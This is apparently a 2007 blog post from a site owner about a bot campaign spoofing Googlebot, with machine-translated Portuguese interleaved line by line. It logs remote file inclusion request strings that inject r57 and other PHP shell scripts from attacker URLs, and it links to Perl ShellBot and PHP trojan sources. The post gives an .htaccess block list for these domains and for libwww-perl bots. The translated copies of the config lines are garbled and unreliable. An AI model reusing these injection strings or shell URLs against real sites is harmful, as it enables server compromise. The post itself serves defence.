Mass Remote Code Injection as Googlebot - Packet Spoofing Perl bot & Trojan Massa Remote Code Injection como Googlebot - Packet Spoofing Perl bot & Tróia

For this past three days this blog is suffering DOS attack . Por esse passado três dias este blog está sofrendo ataques DoS. The attack is still alive now I don’t think they will leave yet. O ataque ainda está viva agora eu não acho que eles vão sair ainda.

I cant banned this bot directly as they were sending forge packet (packet spoofing) as googlebot http://www.whois-search.com/whois/64.233.166.136. Eu cant banido esse bot directamente, como eles estavam enviando forjar pacote (Packet spoofing) como googlebot http://www.whois-search.com/whois/64.233.166.136. Im still looking for the right ISP. Im ainda olhando para a direita ISP.

 OrgName: Google Inc. Orgname: Google Inc. 
 OrgID: GOGL OrgID: GOGL 
 Address: 1600 Amphitheatre Parkway Endereço: anfiteatro 1600 Parkway 
 City: Mountain View Cidade: Mountain View 
 StateProv: CA StateProv: CA 
 PostalCode: 94043 CEP: 94043 
 Country: US País: E.U. 

At the time being I blocked all remote streams from their random host *.com and “perl bot signature” but blocking will not stop them from hammering this site. Na época eu sendo bloqueados todos os córregos remoto a partir de *. com seus aleatórias acolhimento e "perl bot assinatura", mas o bloqueio não irá impedi-los de martelar este site. I’ll be sending 503 (Service Unavailable) on certain request so if you are having problem accessing this site please check back later. Eu vou estar enviando 503 (Serviço indisponível) sobre certos pedido, assim, se você está tendo problema ao acessar este site verifique novamente mais tarde.

Type of injections Tipo de injeções

There is lot uri parameter in my logs (I will disabled server logs - limit resources) they probably has a large inventories check-lists of known CMS vulnerabilities. Existe muita uri parâmetro na minha logs (vou deficientes servidor logs - limitar recursos) que provavelmente tem um grande inventários check-CMS listas de vulnerabilidades conhecidas. I can only confirm that its a blackhat seo spams bot as they request uri include the typical order.php page. Só posso confirmar que o seu seo spams blackhat um bot em que solicitam uri incluem o típico order.php página.

 /es/wordpress/how-to-removed-wordpress-net-in-spam-injection-infected-by-mike-ja / es / wordpress / how-to-removido-wordpress-net-em-Spam-injeção-infectados-por-mike-ja 
  gger-goro-class-mailphp/order.php/?wp=http://hom3.t35.com/xpl/hack/id.txt? gger-goro-class-mailphp/order.php /? wp = http://hom3.t35.com/xpl/hack/id.txt? 
 /es/wordpress/order.php/?wp=http://hom3.t35.com/xpl/hack/id.txt? / es / wordpress / order.php /? wp = http://hom3.t35.com/xpl/hack/id.txt? 
 /order.php?wp=http://hom3.t35.com/xpl/hack/id.txt? / order.php? wp = http://hom3.t35.com/xpl/hack/id.txt? 

To view the following source you need to exclude the website host from your anti-virus program. Para visualizar a seguinte fonte que você precisa excluir o site de seu anfitrião programa de antivírus.

• Perl/ShellBot.B trojan - http://hom3.t35.com/xpl/fidz/hack/bnc.txt Perl / ShellBot.B trojan - http://hom3.t35.com/xpl/fidz/hack/bnc.txt
• PHP/Rst.S Trojan - http://hom3.t35.com/xpl/fidz PHP / Rst.S Tróia - http://hom3.t35.com/xpl/fidz

htaccess blocked bad Code Injector and Perl Bot (Botnet) htaccess bloqueado ruim Código Injector e Perl Bot (Botnet)

If you has similar problems. Se você tem problemas semelhantes. you should block the following domain in your htaccess. você deve bloquear as seguintes domínio na sua htaccess.
mod_setenvif

 SetEnvIfNoCase Referer "^http://(www.)?t35\.com" codeinjector_ref=1 SetEnvIfNoCase Referer "^ http:// (www.)? T35 \. Com.br" codeinjector_ref = 1 
 SetEnvIfNoCase Referer "^http://(www.)?jorgevolio\.com" codeinjector_ref=1 SetEnvIfNoCase Referer "^ http:// (www.)? Jorgevolio \. Com.br" 1 = codeinjector_ref 
 SetEnvIfNoCase Referer "^http://(www.)?emabe\.com" codeinjector_ref=1 SetEnvIfNoCase Referer "^ http:// (www.)? Emabe \. Com.br" codeinjector_ref = 1 
 SetEnvIfNoCase Referer "^http://(www.)?pawang\.in" codeinjector_ref=1 SetEnvIfNoCase Referer "^ http:// (www.)? Pawang \. Em" codeinjector_ref = 1 
 SetEnvIfNoCase Referer "^http://(www.)?gw-gold\.net" codeinjector_ref=1 SetEnvIfNoCase Referer "^ http:// (www.)? Gw-ouro \. Líquido" codeinjector_ref = 1 
 SetEnvIfNoCase User-Agent "^libwww-perl*" shell_bots=1 SetEnvIfNoCase User-Agent "^ libwww-perl *" 1 = shell_bots 
 SetEnvIfNoCase User-Agent "^Amidalla*" shell_bots=1 SetEnvIfNoCase User-Agent "^ Amidalla *" shell_bots = 1 

 <FilesMatch "(.*)"> <FilesMatch "(.*)"> 
 Order Allow,Deny Ordem permitir, negar 
 Allow from all Permitir que a partir de todos os 
 Deny from env=codeinjector_ref Negar a partir de env = codeinjector_ref 
 Deny from env=shell_bots Negar a partir de env = shell_bots 
 </FilesMatch> </ FilesMatch> 

if u arent sure if you server support mod_setenvif wrap it like the below example. u arent se tem certeza se você servidor apoio mod_setenvif envolvê-la como o exemplo abaixo.

 <IfModule mod_setenvif.c> <IfModule Mod_setenvif.c> 
 #...replace this line with the above code... # ... substituir esta linha com o código acima ... 
 </IfModule> </ IfModule> 

How to trap Perl Shell Bot Como armadilha Perl Shell Bot

We need a pattern to trap this bots. Precisamos de um padrão para essa armadilha bots. certainly we knew that these bots : certamente já sabíamos que esses bots:

• doesn’t honor robot.txt não honra robot.txt
• they crawl all subdirectory rastrear todos eles subdiretório
• they has a pattern URI request eles tem uma estrutura pedido URI

For now I only create subdirectory for auto-ban (and some other stuff) based on their pattern. Por enquanto eu só criar subdiretório para a auto-proibição (e algumas outras coisas) com base em seu padrão. alexa bot will be banned too as they dont honor robot.txt. alexa bot será muito banidos como eles dont robot.txt honra.

I’ll be updating this post from time to time. Vou estar atualizando este post de vez em quando. Do check the related articles on how to packet spoofing and validating forge/spoof packet. Faça o check artigos relacionados sobre a forma de pacotes spoofing e validação de forjar / spoof maço.

Recent Scan & Update Recent Scan & atualização

The below list is automatically added. A lista abaixo é adicionado automaticamente.

December 24, 2007 24 de dezembro de 2007

ip: 64.26.63.10 param: login= , ? inject: http://pawang.in/r57.txt ip: 64.26.63.10 param: login =,? injectar: http://pawang.in/r57.txt

December 24, 2007 24 de dezembro de 2007

ip: 64.26.63.10 param: dir= , login= inject: http://pawang.in/r57.txt???? ip: 64.26.63.10 param: dir =, = login injectar: http://pawang.in/r57.txt??

December 25, 2007 25 de dezembro de 2007

ip: 59.158.128.138 param: p= , :allinurl= inject: http://gw-gold.net/jpg/pictures/test.txt ip: 59.158.128.138 param: p =,: = injectar allinurl: http://gw-gold.net/jpg/pictures/test.txt

External Resources Recursos externos

• Packet spoofing - http://www.wireshark.org Packet spoofing - http://www.wireshark.org
• pcapdiff validate forged packet http://www.eff.org/testyourisp/pcapdiff/ pcapdiff validar pacotes forjados http://www.eff.org/testyourisp/pcapdiff/